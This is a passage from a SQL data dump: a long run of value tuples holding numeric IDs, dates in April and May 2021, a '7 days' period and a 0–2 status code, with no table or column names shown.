days',0),(46095,17668,8114,9288,1370,667,'2021-04-13','7 days',0),(46096,17667,8114,9288,1370,667,'2021-04-13','7 days',0),(46097,17666,8114,9288,1370,667,'2021-04-13','7 days',0),(46109,17682,8139,9309,1666,277,'2021-04-13','7 days',1),(46110,17681,8139,9309,1666,277,'2021-04-13','7 days',2),(46115,17665,8114,9288,1370,667,'2021-04-14','7 days',0),(46116,17664,8114,9288,1370,667,'2021-04-14','7 days',2),(46117,17663,8114,9288,1370,667,'2021-04-14','7 days',0),(46118,17662,8114,9288,1370,667,'2021-04-14','7 days',0),(46119,17661,8114,9288,1370,667,'2021-04-14','7 days',0),(46120,17660,8114,9288,1370,667,'2021-04-14','7 days',2),(46121,17659,8114,9288,1370,667,'2021-04-14','7 days',2),(46122,17658,8114,9288,1370,667,'2021-04-14','7 days',0),(46123,17657,8114,9288,1370,667,'2021-04-14','7 days',1),(46124,17656,8114,9288,1370,667,'2021-04-14','7 days',0),(46125,17655,8114,9288,1370,667,'2021-04-14','7 days',0),(46126,17654,8114,9288,1370,667,'2021-04-14','7 days',0),(46127,17653,8114,9288,1370,667,'2021-04-14','7 days',0),(46128,17652,8114,9288,1370,667,'2021-04-14','7 days',0),(46129,17651,8114,9288,1370,667,'2021-04-14','7 days',0),(46157,17649,8114,9288,1370,667,'2021-04-15','7 days',0),(46158,17648,8114,9288,1370,667,'2021-04-15','7 days',0),(46159,17646,8114,9288,1370,667,'2021-04-15','7 days',0),(46160,17644,8114,9288,1370,667,'2021-04-15','7 days',0),(46161,17643,8114,9288,1370,667,'2021-04-15','7 days',0),(46162,17640,8114,9288,1370,667,'2021-04-15','7 days',0),(46163,17638,8114,9288,1370,667,'2021-04-15','7 days',2),(46164,17636,8114,9288,1370,667,'2021-04-15','7 days',0),(46165,17634,8114,9288,1370,667,'2021-04-15','7 days',0),(46203,11689,8156,9326,194,45,'2021-04-15','7 days',1),(46220,17548,8146,9153,194,45,'2021-04-15','7 days',1),(46221,11520,8146,9153,194,45,'2021-04-15','7 days',1),(46222,11519,8146,9153,194,45,'2021-04-15','7 days',1),(46223,2238,8146,9153,194,45,'2021-04-15','7 days',0),(46224,5467,8146,9153,194,45,'2021-04-15','7 days',1),(46225,5467,8145,496,194,45,'2021-04-15','7 days',1),(46229,17489,8163,9331,634,639,'2021-04-15','7 days',1),(46230,17451,8163,9331,634,639,'2021-04-15','7 days',0),(46231,11447,8159,9202,1664,277,'2021-04-15','7 days',0),(46232,9902,8159,9202,1664,277,'2021-04-15','7 days',0),(46233,17723,8114,9288,1370,667,'2021-04-16','7 days',0),(46234,17722,8114,9288,1370,667,'2021-04-16','7 days',0),(46235,17721,8114,9288,1370,667,'2021-04-16','7 days',1),(46236,17720,8114,9288,1370,667,'2021-04-16','7 days',0),(46237,17719,8114,9288,1370,667,'2021-04-16','7 days',0),(46238,17718,8114,9288,1370,667,'2021-04-16','7 days',0),(46239,17717,8114,9288,1370,667,'2021-04-16','7 days',0),(46240,17716,8114,9288,1370,667,'2021-04-16','7 days',0),(46241,17715,8114,9288,1370,667,'2021-04-16','7 days',0),(46242,17714,8114,9288,1370,667,'2021-04-16','7 days',0),(46243,17713,8114,9288,1370,667,'2021-04-16','7 days',2),(46244,17712,8114,9288,1370,667,'2021-04-16','7 days',0),(46245,17711,8114,9288,1370,667,'2021-04-16','7 days',0),(46246,17710,8114,9288,1370,667,'2021-04-16','7 days',0),(46247,17709,8114,9288,1370,667,'2021-04-16','7 days',0),(46343,17502,8174,9341,1675,86,'2021-04-16','7 days',1),(46344,17501,8174,9341,1675,86,'2021-04-16','7 days',0),(46345,17500,8174,9341,1675,86,'2021-04-16','7 days',0),(46346,17078,8174,9341,1675,86,'2021-04-16','7 days',0),(46347,17077,8174,9341,1675,86,'2021-04-16','7 days',0),(46348,17076,8174,9341,1675,86,'2021-04-16','7 days',0),(46349,16783,8174,9341,1675,86,'2021-04-16','7 days',0),(46350,16782,8174,9341,1675,86,'2021-04-16','7 days',0),(46351,16739,8174,9341,1675,86,'2021-04-16','7 days',0),(46405,7211,8171,9338,1452,91,'2021-04-17','7 days',0),(46406,7210,8171,9338,1452,91,'2021-04-17','7 days',0),(46407,7209,8171,9338,1452,91,'2021-04-17','7 days',2),(46408,7208,8171,9338,1452,91,'2021-04-17','7 days',2),(46409,17412,8171,9338,1452,91,'2021-04-17','7 days',1),(46410,7022,8171,9338,1452,91,'2021-04-17','7 days',0),(46411,9159,8171,9338,1452,91,'2021-04-17','7 days',1),(46412,9155,8171,9338,1452,91,'2021-04-17','7 days',1),(46413,7213,8171,9338,1452,91,'2021-04-17','7 days',1),(46414,7212,8171,9338,1452,91,'2021-04-17','7 days',1),(46415,9154,8171,9338,1452,91,'2021-04-17','7 days',1),(46416,9135,8171,9338,1452,91,'2021-04-17','7 days',1),(46417,9134,8171,9338,1452,91,'2021-04-17','7 days',1),(46418,9133,8171,9338,1452,91,'2021-04-17','7 days',1),(46419,7287,8171,9338,1452,91,'2021-04-17','7 days',1),(46420,7286,8171,9338,1452,91,'2021-04-17','7 days',1),(46421,9537,8171,9338,1452,91,'2021-04-17','7 days',0),(46494,7020,8202,8771,1452,91,'2021-04-19','7 days',0),(46495,17412,8202,8771,1452,91,'2021-04-19','7 days',1),(46496,7022,8202,8771,1452,91,'2021-04-19','7 days',2),(46517,17074,7978,9180,1370,667,'2021-04-19','7 days',1),(46518,673,8147,9315,161,73,'2021-04-19','7 days',0),(46519,667,8147,9315,161,73,'2021-04-19','7 days',0),(46520,666,8147,9315,161,73,'2021-04-19','7 days',0),(46521,664,8150,9319,162,73,'2021-04-19','7 days',0),(46522,663,8150,9319,162,73,'2021-04-19','7 days',0),(46526,15599,8169,9337,1654,971,'2021-04-19','7 days',0),(46527,15462,8169,9337,1654,971,'2021-04-19','7 days',0),(46528,16277,8170,9337,1406,971,'2021-04-19','7 days',1),(46529,16276,8170,9337,1406,971,'2021-04-19','7 days',0),(46530,16139,8170,9337,1406,971,'2021-04-19','7 days',1),(46531,12739,8170,9337,1406,971,'2021-04-19','7 days',0),(46532,11698,8170,9337,1406,971,'2021-04-19','7 days',0),(46533,11456,8170,9337,1406,971,'2021-04-19','7 days',0),(46534,11126,8170,9337,1406,971,'2021-04-19','7 days',1),(46535,10978,8170,9337,1406,971,'2021-04-19','7 days',1),(46536,10967,8170,9337,1406,971,'2021-04-19','7 days',1),(46537,10966,8170,9337,1406,971,'2021-04-19','7 days',1),(46538,10965,8170,9337,1406,971,'2021-04-19','7 days',0),(46539,10964,8170,9337,1406,971,'2021-04-19','7 days',0),(46540,10963,8170,9337,1406,971,'2021-04-19','7 days',0),(46583,13881,8218,9383,1675,86,'2021-04-20','7 days',0),(46584,13880,8218,9383,1675,86,'2021-04-20','7 days',0),(46585,13879,8218,9383,1675,86,'2021-04-20','7 days',0),(46586,13878,8218,9383,1675,86,'2021-04-20','7 days',0),(46587,13877,8218,9383,1675,86,'2021-04-20','7 days',0),(46588,13088,8218,9383,1675,86,'2021-04-20','7 days',0),(46589,12818,8218,9383,1675,86,'2021-04-20','7 days',0),(46590,12259,8218,9383,1675,86,'2021-04-20','7 days',1),(46591,12258,8218,9383,1675,86,'2021-04-20','7 days',0),(46592,12239,8218,9383,1675,86,'2021-04-20','7 days',0),(46603,11689,8095,9267,194,45,'2021-04-20','7 days',1),(46620,16059,8226,9391,194,45,'2021-04-21','7 days',0),(46621,16058,8226,9391,194,45,'2021-04-21','7 days',0),(46622,1359,8226,9391,194,45,'2021-04-21','7 days',0),(46623,11689,8226,9391,194,45,'2021-04-21','7 days',1),(46624,11689,8194,9359,194,45,'2021-04-21','7 days',1),(46625,11162,8194,9359,194,45,'2021-04-21','7 days',1),(46626,9206,8194,9359,194,45,'2021-04-21','7 days',1),(46627,11687,8194,9359,194,45,'2021-04-21','7 days',1),(46628,17499,8173,9339,194,45,'2021-04-21','7 days',0),(46629,17498,8173,9339,194,45,'2021-04-21','7 days',0),(46630,14685,8173,9339,194,45,'2021-04-21','7 days',1),(46631,14684,8173,9339,194,45,'2021-04-21','7 days',1),(46632,13913,8173,9339,194,45,'2021-04-21','7 days',0),(46633,11689,8173,9339,194,45,'2021-04-21','7 days',1),(46641,9903,8158,9328,1664,277,'2021-04-21','7 days',0),(46642,9900,8158,9328,1664,277,'2021-04-21','7 days',1),(46643,8590,8158,9328,1664,277,'2021-04-21','7 days',1),(46644,15861,8159,9202,1664,277,'2021-04-21','7 days',0),(46645,15858,8159,9202,1664,277,'2021-04-21','7 days',0),(46730,16058,8229,9326,194,45,'2021-04-23','7 days',0),(46731,1359,8229,9326,194,45,'2021-04-23','7 days',0),(46761,16277,8224,9388,1342,971,'2021-04-25','7 days',0),(46762,16276,8224,9388,1342,971,'2021-04-25','7 days',0),(46763,16139,8224,9388,1342,971,'2021-04-25','7 days',1),(46764,12739,8224,9388,1342,971,'2021-04-25','7 days',1),(46765,11698,8224,9388,1342,971,'2021-04-25','7 days',0),(46766,11456,8224,9388,1342,971,'2021-04-25','7 days',0),(46767,11126,8224,9388,1342,971,'2021-04-25','7 days',1),(46768,10978,8224,9388,1342,971,'2021-04-25','7 days',1),(46769,10967,8224,9388,1342,971,'2021-04-25','7 days',1),(46770,10966,8224,9388,1342,971,'2021-04-25','7 days',1),(46771,10965,8224,9388,1342,971,'2021-04-25','7 days',2),(46772,10964,8224,9388,1342,971,'2021-04-25','7 days',0),(46773,10963,8224,9388,1342,971,'2021-04-25','7 days',1),(46774,640,8208,9373,162,73,'2021-04-26','7 days',0),(46775,639,8208,9373,162,73,'2021-04-26','7 days',0),(46776,637,8208,9373,162,73,'2021-04-26','7 days',0),(46777,636,8208,9373,162,73,'2021-04-26','7 days',0),(46778,629,8208,9373,162,73,'2021-04-26','7 days',0),(46808,17833,8240,9400,1456,667,'2021-04-26','7 days',0),(46809,17832,8240,9400,1456,667,'2021-04-26','7 days',0),(46810,17831,8240,9400,1456,667,'2021-04-26','7 days',0),(46811,17830,8240,9400,1456,667,'2021-04-26','7 days',0),(46812,17829,8240,9400,1456,667,'2021-04-26','7 days',0),(46813,17828,8240,9400,1456,667,'2021-04-26','7 days',0),(46814,17827,8240,9400,1456,667,'2021-04-26','7 days',0),(46815,17826,8240,9400,1456,667,'2021-04-26','7 days',1),(46816,17825,8240,9400,1456,667,'2021-04-26','7 days',0),(46817,17824,8240,9400,1456,667,'2021-04-26','7 days',0),(46818,17823,8240,9400,1456,667,'2021-04-26','7 days',0),(46819,17822,8240,9400,1456,667,'2021-04-26','7 days',0),(46820,17821,8240,9400,1456,667,'2021-04-26','7 days',0),(46821,17820,8240,9400,1456,667,'2021-04-26','7 days',0),(46822,17819,8240,9400,1456,667,'2021-04-26','7 days',0),(46901,17882,8239,9399,1370,667,'2021-04-26','7 days',0),(46902,17881,8239,9399,1370,667,'2021-04-26','7 days',0),(46903,17880,8239,9399,1370,667,'2021-04-26','7 days',0),(46904,17879,8239,9399,1370,667,'2021-04-26','7 days',0),(46905,17878,8239,9399,1370,667,'2021-04-26','7 days',1),(46906,17877,8239,9399,1370,667,'2021-04-26','7 days',1),(46907,17876,8239,9399,1370,667,'2021-04-26','7 days',0),(46908,17875,8239,9399,1370,667,'2021-04-26','7 days',0),(46909,17874,8239,9399,1370,667,'2021-04-26','7 days',1),(46910,17873,8239,9399,1370,667,'2021-04-26','7 days',1),(46911,17872,8239,9399,1370,667,'2021-04-26','7 days',2),(46912,17871,8239,9399,1370,667,'2021-04-26','7 days',0),(46913,17870,8239,9399,1370,667,'2021-04-26','7 days',0),(46914,17869,8239,9399,1370,667,'2021-04-26','7 days',0),(46915,17868,8239,9399,1370,667,'2021-04-26','7 days',0),(46951,9007,8174,9341,1675,86,'2021-04-26','7 days',0),(46952,9004,8174,9341,1675,86,'2021-04-26','7 days',0),(46953,9002,8174,9341,1675,86,'2021-04-26','7 days',1),(46954,9000,8174,9341,1675,86,'2021-04-26','7 days',1),(46955,8999,8174,9341,1675,86,'2021-04-26','7 days',2),(46965,14051,8244,9409,1069,326,'2021-04-27','7 days',0),(46966,12897,8244,9409,1069,326,'2021-04-27','7 days',1),(46967,12875,8244,9409,1069,326,'2021-04-27','7 days',1),(46968,9805,8244,9409,1069,326,'2021-04-27','7 days',0),(46969,9803,8244,9409,1069,326,'2021-04-27','7 days',0),(46970,17818,8240,9400,1456,667,'2021-04-27','7 days',0),(46971,17817,8240,9400,1456,667,'2021-04-27','7 days',0),(46972,17816,8240,9400,1456,667,'2021-04-27','7 days',0),(46973,17815,8240,9400,1456,667,'2021-04-27','7 days',0),(46974,17814,8240,9400,1456,667,'2021-04-27','7 days',0),(46975,17813,8240,9400,1456,667,'2021-04-27','7 days',0),(46976,17812,8240,9400,1456,667,'2021-04-27','7 days',0),(46977,17811,8240,9400,1456,667,'2021-04-27','7 days',0),(46978,17810,8240,9400,1456,667,'2021-04-27','7 days',0),(46979,17809,8240,9400,1456,667,'2021-04-27','7 days',0),(46980,17808,8240,9400,1456,667,'2021-04-27','7 days',0),(46981,17807,8240,9400,1456,667,'2021-04-27','7 days',0),(46982,17806,8240,9400,1456,667,'2021-04-27','7 days',0),(46983,17805,8240,9400,1456,667,'2021-04-27','7 days',0),(46984,17804,8240,9400,1456,667,'2021-04-27','7 days',0),(46985,17867,8239,9399,1370,667,'2021-04-27','7 days',0),(46986,17866,8239,9399,1370,667,'2021-04-27','7 days',2),(46987,17865,8239,9399,1370,667,'2021-04-27','7 days',0),(46988,17864,8239,9399,1370,667,'2021-04-27','7 days',0),(46989,17863,8239,9399,1370,667,'2021-04-27','7 days',0),(46990,17862,8239,9399,1370,667,'2021-04-27','7 days',0),(46991,17861,8239,9399,1370,667,'2021-04-27','7 days',0),(46992,17860,8239,9399,1370,667,'2021-04-27','7 days',0),(46993,17859,8239,9399,1370,667,'2021-04-27','7 days',0),(46994,17858,8239,9399,1370,667,'2021-04-27','7 days',1),(46995,17857,8239,9399,1370,667,'2021-04-27','7 days',1),(46996,17856,8239,9399,1370,667,'2021-04-27','7 days',0),(46997,17855,8239,9399,1370,667,'2021-04-27','7 days',0),(46998,17854,8239,9399,1370,667,'2021-04-27','7 days',0),(46999,17853,8239,9399,1370,667,'2021-04-27','7 days',0),(47044,17412,8297,9401,1452,91,'2021-04-27','7 days',1),(47045,7022,8297,9401,1452,91,'2021-04-27','7 days',1),(47046,14890,8297,9401,1452,91,'2021-04-27','7 days',0),(47047,14889,8297,9401,1452,91,'2021-04-27','7 days',0),(47048,14888,8297,9401,1452,91,'2021-04-27','7 days',0),(47049,14887,8297,9401,1452,91,'2021-04-27','7 days',0),(47050,14886,8297,9401,1452,91,'2021-04-27','7 days',0),(47051,14885,8297,9401,1452,91,'2021-04-27','7 days',0),(47052,14884,8297,9401,1452,91,'2021-04-27','7 days',2),(47053,14883,8297,9401,1452,91,'2021-04-27','7 days',0),(47102,11520,8282,9435,194,45,'2021-04-27','7 days',1),(47103,2238,8282,9435,194,45,'2021-04-27','7 days',0),(47104,11689,7903,9117,194,45,'2021-04-27','7 days',1),(47105,640,8284,9437,160,73,'2021-04-28','7 days',0),(47106,639,8284,9437,160,73,'2021-04-28','7 days',0),(47107,637,8284,9437,160,73,'2021-04-28','7 days',0),(47108,636,8284,9437,160,73,'2021-04-28','7 days',0),(47109,629,8284,9437,160,73,'2021-04-28','7 days',0),(47110,17803,8240,9400,1456,667,'2021-04-28','7 days',0),(47111,17802,8240,9400,1456,667,'2021-04-28','7 days',0),(47112,17801,8240,9400,1456,667,'2021-04-28','7 days',0),(47113,17800,8240,9400,1456,667,'2021-04-28','7 days',0),(47114,17799,8240,9400,1456,667,'2021-04-28','7 days',2),(47115,17798,8240,9400,1456,667,'2021-04-28','7 days',0),(47116,17797,8240,9400,1456,667,'2021-04-28','7 days',0),(47117,17796,8240,9400,1456,667,'2021-04-28','7 days',0),(47118,17795,8240,9400,1456,667,'2021-04-28','7 days',2),(47119,17794,8240,9400,1456,667,'2021-04-28','7 days',0),(47120,17793,8240,9400,1456,667,'2021-04-28','7 days',1),(47121,17792,8240,9400,1456,667,'2021-04-28','7 days',0),(47122,17791,8240,9400,1456,667,'2021-04-28','7 days',0),(47123,17790,8240,9400,1456,667,'2021-04-28','7 days',0),(47124,17789,8240,9400,1456,667,'2021-04-28','7 days',2),(47164,11689,8316,9200,194,45,'2021-04-28','7 days',1),(47165,11689,8315,9200,194,45,'2021-04-28','7 days',1),(47166,11162,8315,9200,194,45,'2021-04-28','7 days',1),(47167,9206,8315,9200,194,45,'2021-04-28','7 days',1),(47210,17949,8320,9180,1370,667,'2021-04-29','7 days',0),(47211,17948,8320,9180,1370,667,'2021-04-29','7 days',0),(47212,17947,8320,9180,1370,667,'2021-04-29','7 days',0),(47213,17946,8320,9180,1370,667,'2021-04-29','7 days',0),(47214,17945,8320,9180,1370,667,'2021-04-29','7 days',0),(47215,17944,8320,9180,1370,667,'2021-04-29','7 days',0),(47216,17943,8320,9180,1370,667,'2021-04-29','7 days',0),(47217,17942,8320,9180,1370,667,'2021-04-29','7 days',0),(47218,17941,8320,9180,1370,667,'2021-04-29','7 days',0),(47219,17940,8320,9180,1370,667,'2021-04-29','7 days',0),(47220,17939,8320,9180,1370,667,'2021-04-29','7 days',0),(47221,17938,8320,9180,1370,667,'2021-04-29','7 days',0),(47222,17937,8320,9180,1370,667,'2021-04-29','7 days',0),(47223,17936,8320,9180,1370,667,'2021-04-29','7 days',0),(47224,17935,8320,9180,1370,667,'2021-04-29','7 days',1),(47225,14051,8323,9472,1069,326,'2021-04-29','7 days',0),(47226,12897,8323,9472,1069,326,'2021-04-29','7 days',2),(47227,12875,8323,9472,1069,326,'2021-04-29','7 days',1),(47228,9805,8323,9472,1069,326,'2021-04-29','7 days',0),(47229,9803,8323,9472,1069,326,'2021-04-29','7 days',2),(47250,11589,7678,8900,162,73,'2021-04-29','7 days',1),(47253,11589,7677,8899,161,73,'2021-04-30','7 days',1),(47254,17546,8323,9472,1069,326,'2021-04-30','7 days',1),(47255,9797,8323,9472,1069,326,'2021-04-30','7 days',0),(47256,9796,8323,9472,1069,326,'2021-04-30','7 days',0),(47257,9795,8323,9472,1069,326,'2021-04-30','7 days',0),(47258,9720,8323,9472,1069,326,'2021-04-30','7 days',1),(47259,9802,8323,9472,1069,326,'2021-04-30','7 days',0),(47260,9801,8323,9472,1069,326,'2021-04-30','7 days',0),(47261,9800,8323,9472,1069,326,'2021-04-30','7 days',0),(47262,9798,8323,9472,1069,326,'2021-04-30','7 days',0),(47271,12532,8329,9479,194,45,'2021-04-30','7 days',1),(47272,11715,8329,9479,194,45,'2021-04-30','7 days',1),(47273,11714,8329,9479,194,45,'2021-04-30','7 days',1),(47274,5467,8329,9479,194,45,'2021-04-30','7 days',1),(47275,17934,8320,9180,1370,667,'2021-04-30','7 days',0),(47276,17933,8320,9180,1370,667,'2021-04-30','7 days',0),(47277,17932,8320,9180,1370,667,'2021-04-30','7 days',0),(47278,17931,8320,9180,1370,667,'2021-04-30','7 days',0),(47279,17930,8320,9180,1370,667,'2021-04-30','7 days',2),(47280,17929,8320,9180,1370,667,'2021-04-30','7 days',0),(47281,17928,8320,9180,1370,667,'2021-04-30','7 days',0),(47282,17927,8320,9180,1370,667,'2021-04-30','7 days',0),(47283,17926,8320,9180,1370,667,'2021-04-30','7 days',0),(47284,17925,8320,9180,1370,667,'2021-04-30','7 days',2),(47285,17924,8320,9180,1370,667,'2021-04-30','7 days',0),(47286,17923,8320,9180,1370,667,'2021-04-30','7 days',0),(47287,17922,8320,9180,1370,667,'2021-04-30','7 days',0),(47288,17921,8320,9180,1370,667,'2021-04-30','7 days',2),(47289,17920,8320,9180,1370,667,'2021-04-30','7 days',2),(47295,11689,7854,8948,194,45,'2021-04-30','7 days',1),(47301,14890,8241,9401,1452,91,'2021-04-30','7 days',0),(47302,14889,8241,9401,1452,91,'2021-04-30','7 days',0),(47303,14888,8241,9401,1452,91,'2021-04-30','7 days',0),(47304,14887,8241,9401,1452,91,'2021-04-30','7 days',0),(47305,14886,8241,9401,1452,91,'2021-04-30','7 days',0),(47306,14885,8241,9401,1452,91,'2021-04-30','7 days',0),(47307,14884,8241,9401,1452,91,'2021-04-30','7 days',0),(47308,14883,8241,9401,1452,91,'2021-04-30','7 days',0),(47309,14882,8241,9401,1452,91,'2021-04-30','7 days',0),(47310,14881,8241,9401,1452,91,'2021-04-30','7 days',0),(47311,14880,8241,9401,1452,91,'2021-04-30','7 days',0),(47312,14879,8241,9401,1452,91,'2021-04-30','7 days',0),(47313,14878,8241,9401,1452,91,'2021-04-30','7 days',0),(47314,14877,8241,9401,1452,91,'2021-04-30','7 days',0),(47315,11689,8092,7963,194,45,'2021-04-30','7 days',1),(47333,5467,8316,9200,194,45,'2021-05-03','7 days',1),(47411,17919,8320,9180,1370,667,'2021-05-04','7 days',0),(47412,17918,8320,9180,1370,667,'2021-05-04','7 days',0),(47413,17917,8320,9180,1370,667,'2021-05-04','7 days',0),(47414,17916,8320,9180,1370,667,'2021-05-04','7 days',0),(47415,17915,8320,9180,1370,667,'2021-05-04','7 days',0),(47416,17914,8320,9180,1370,667,'2021-05-04','7 days',0),(47417,17913,8320,9180,1370,667,'2021-05-04','7 days',0),(47418,17912,8320,9180,1370,667,'2021-05-04','7 days',1),(47419,17911,8320,9180,1370,667,'2021-05-04','7 days',0),(47420,17910,8320,9180,1370,667,'2021-05-04','7 days',0),(47421,17909,8320,9180,1370,667,'2021-05-04','7 days',0),(47422,17908,8320,9180,1370,667,'2021-05-04','7 days',0),(47423,17907,8320,9180,1370,667,'2021-05-04','7 days',0),(47424,17906,8320,9180,1370,667,'2021-05-04','7 days',0),(47425,17905,8320,9180,1370,667,'2021-05-04','7 days',0),(47445,14685,8358,496,194,45,'2021-05-05','7 days',1),(47446,14684,8358,496,194,45,'2021-05-05','7 days',1),(47447,11689,8358,496,194,45,'2021-05-05','7 days',1),(47448,11687,8358,496,194,45,'2021-05-05','7 days',1),(47449,9206,8358,496,194,45,'2021-05-05','7 days',1),(47454,12022,8381,9102,1663,277,'2021-05-05','7 days',1),(47535,12022,8359,9102,1665,277,'2021-05-06','7 days',1),(47651,18054,8396,9537,1370,667,'2021-05-07','7 days',0),(47652,18053,8396,9537,1370,667,'2021-05-07','7 days',0),(47653,18052,8396,9537,1370,667,'2021-05-07','7 days',0),(47654,18051,8396,9537,1370,667,'2021-05-07','7 days',0),(47655,18050,8396,9537,1370,667,'2021-05-07','7 days',0),(47656,18049,8396,9537,1370,667,'2021-05-07','7 days',2),(47657,18048,8396,9537,1370,667,'2021-05-07','7 days',1),(47658,18047,8396,9537,1370,667,'2021-05-07','7 days',2),(47659,18046,8396,9537,1370,667,'2021-05-07','7 days',2),(47660,18045,8396,9537,1370,667,'2021-05-07','7 days',0),(47661,18044,8396,9537,1370,667,'2021-05-07','7 days',0),(47662,18043,8396,9537,1370,667,'2021-05-07','7 days',0),(47663,18042,8396,9537,1370,667,'2021-05-07','7 days',0),(47664,18041,8396,9537,1370,667,'2021-05-07','7 days',0),(47665,18040,8396,9537,1370,667,'2021-05-07','7 days',0),(47666,17489,8364,9510,634,639,'2021-05-07','7 days',1),(47667,4516,8364,9510,634,639,'2021-05-07','7 days',1),(47668,4514,8364,9510,634,639,'2021-05-07','7 days',0),(47669,4499,8364,9510,634,639,'2021-05-07','7 days',2),(47670,4467,8364,9510,634,639,'2021-05-07','7 days',2),(47671,18057,8408,9547,203,86,'2021-05-07','7 days',2),(47672,18056,8408,9547,203,86,'2021-05-07','7 days',0),(47673,16258,8408,9547,203,86,'2021-05-07','7 days',0),(47674,16257,8408,9547,203,86,'2021-05-07','7 days',0),(47675,16256,8408,9547,203,86,'2021-05-07','7 days',0),(47676,16255,8408,9547,203,86,'2021-05-07','7 days',0),(47677,16254,8408,9547,203,86,'2021-05-07','7 days',2),(47678,16253,8408,9547,203,86,'2021-05-07','7 days',0),(47679,16252,8408,9547,203,86,'2021-05-07','7 days',0),(47680,18055,8408,9547,203,86,'2021-05-07','7 days',0),(47681,16880,8174,9341,1675,86,'2021-05-07','7 days',0),(47682,16786,8174,9341,1675,86,'2021-05-07','7 days',1),(47683,16740,8174,9341,1675,86,'2021-05-07','7 days',0),(47684,15358,8174,9341,1675,86,'2021-05-07','7 days',0),(47685,15356,8174,9341,1675,86,'2021-05-07','7 days',0),(47686,15353,8174,9341,1675,86,'2021-05-07','7 days',0),(47687,15349,8174,9341,1675,86,'2021-05-07','7 days',0),(47688,18058,8408,9547,203,86,'2021-05-07','7 days',2),(47721,18039,8396,9537,1370,667,'2021-05-08','7 days',0),(47722,18038,8396,9537,1370,667,'2021-05-08','7 days',2),(47723,18037,8396,9537,1370,667,'2021-05-08','7 days',0),(47724,18036,8396,9537,1370,667,'2021-05-08','7 days',0),(47725,18035,8396,9537,1370,667,'2021-05-08','7 days',0),(47726,18034,8396,9537,1370,667,'2021-05-08','7 days',0),(47727,18033,8396,9537,1370,667,'2021-05-08','7 days',0),(47728,18032,8396,9537,1370,667,'2021-05-08','7 days',0),(47729,18031,8396,9537,1370,667,'2021-05-08','7 days',0),(47730,18030,8396,9537,1370,667,'2021-05-08','7 days',2),(47731,18029,8396,9537,1370,667,'2021-05-08','7 days',0),(47732,18028,8396,9537,1370,667,'2021-05-08','7 days',0),(47733,18027,8396,9537,1370,667,'2021-05-08','7 days',0),(47734,18026,8396,9537,1370,667,'2021-05-08','7 days',2),(47735,18025,8396,9537,1370,667,'2021-05-08','7 days',0),(47736,17904,8320,9180,1370,667,'2021-05-08','7 days',0),(47737,17903,8320,9180,1370,667,'2021-05-08','7 days',0),(47738,17902,8320,9180,1370,667,'2021-05-08','7 days',2),(47739,17901,8320,9180,1370,667,'2021-05-08','7 days',0),(47740,17900,8320,9180,1370,667,'2021-05-08','7 days',0),(47741,17899,8320,9180,1370,667,'2021-05-08','7 days',0),(47742,17898,8320,9180,1370,667,'2021-05-08','7 days',0),(47743,17897,8320,9180,1370,667,'2021-05-08','7 days',2),(47744,17896,8320,9180,1370,667,'2021-05-08','7 days',0),(47745,17895,8320,9180,1370,667,'2021-05-08','7 days',0),(47746,17894,8320,9180,1370,667,'2021-05-08','7 days',2),(47747,17893,8320,9180,1370,667,'2021-05-08','7 days',0),(47748,17892,8320,9180,1370,667,'2021-05-08','7 days',0),(47749,17891,8320,9180,1370,667,'2021-05-08','7 days',2),(47750,17890,8320,9180,1370,667,'2021-05-08','7 days',0),(47751,17889,8320,9180,1370,667,'2021-05-08','7 days',0),(47752,17888,8320,9180,1370,667,'2021-05-08','7 days',0),(47753,17887,8320,9180,1370,667,'2021-05-08','7 days',0),(47754,17886,8320,9180,1370,667,'2021-05-08','7 days',0),(47755,17885,8320,9180,1370,667,'2021-05-08','7 days',0),(47756,642,8319,9467,160,73,'2021-05-10','7 days',0),(47757,640,8319,9467,160,73,'2021-05-10','7 days',0),(47758,639,8319,9467,160,73,'2021-05-10','7 days',0),(47759,637,8319,9467,160,73,'2021-05-10','7 days',0),(47766,11589,6817,7918,161,73,'2021-05-10','7 days',1),(47789,15741,8403,9542,194,45,'2021-05-10','7 days',1),(47790,15740,8403,9542,194,45,'2021-05-10','7 days',1),(47791,15735,8403,9542,194,45,'2021-05-10','7 days',2),(47792,15733,8403,9542,194,45,'2021-05-10','7 days',1),(47793,15732,8403,9542,194,45,'2021-05-10','7 days',0),(47794,15731,8403,9542,194,45,'2021-05-10','7 days',0),(47795,18024,8396,9537,1370,667,'2021-05-11','7 days',0),(47796,18023,8396,9537,1370,667,'2021-05-11','7 days',0),(47797,18022,8396,9537,1370,667,'2021-05-11','7 days',0),(47798,18021,8396,9537,1370,667,'2021-05-11','7 days',0),(47799,18020,8396,9537,1370,667,'2021-05-11','7 days',0),(47800,18019,8396,9537,1370,667,'2021-05-11','7 days',0),(47801,18018,8396,9537,1370,667,'2021-05-11','7 days',0),(47802,18017,8396,9537,1370,667,'2021-05-11','7 days',0),(47803,18016,8396,9537,1370,667,'2021-05-11','7 days',0),(47804,18015,8396,9537,1370,667,'2021-05-11','7 days',0),(47805,18014,8396,9537,1370,667,'2021-05-11','7 days',0),(47806,18013,8396,9537,1370,667,'2021-05-11','7 days',0),(47807,18012,8396,9537,1370,667,'2021-05-11','7 days',0),(47808,18011,8396,9537,1370,667,'2021-05-11','7 days',0),(47809,18010,8396,9537,1370,667,'2021-05-11','7 days',0),(47810,18062,8408,9547,203,86,'2021-05-11','7 days',2),(47811,18061,8408,9547,203,86,'2021-05-11','7 days',0),(47812,18060,8408,9547,203,86,'2021-05-11','7 days',0),(47813,18059,8408,9547,203,86,'2021-05-11','7 days',0),(47814,12830,8408,9547,203,86,'2021-05-11','7 days',0),(47842,11589,8436,9572,161,73,'2021-05-11','7 days',1),(47843,640,8436,9572,161,73,'2021-05-11','7 days',0),(47844,639,8436,9572,161,73,'2021-05-11','7 days',0),(47845,637,8436,9572,161,73,'2021-05-11','7 days',0),(47846,636,8436,9572,161,73,'2021-05-11','7 days',0),(47847,629,8436,9572,161,73,'2021-05-11','7 days',0),(47848,17681,8442,9102,1668,277,'2021-05-11','7 days',0),(47849,15861,8442,9102,1668,277,'2021-05-11','7 days',0),(47850,15860,8442,9102,1668,277,'2021-05-11','7 days',0),(47851,12022,8442,9102,1668,277,'2021-05-11','7 days',1),(47852,9909,8442,9102,1668,277,'2021-05-11','7 days',1),(47853,9904,8442,9102,1668,277,'2021-05-11','7 days',0),(47860,15739,8435,7494,194,45,'2021-05-11','7 days',0),(47861,15737,8435,7494,194,45,'2021-05-11','7 days',1),(47862,15736,8435,7494,194,45,'2021-05-11','7 days',0),(47863,15734,8435,7494,194,45,'2021-05-11','7 days',0),(47864,15730,8435,7494,194,45,'2021-05-11','7 days',0),(47865,15739,8429,9566,194,45,'2021-05-11','7 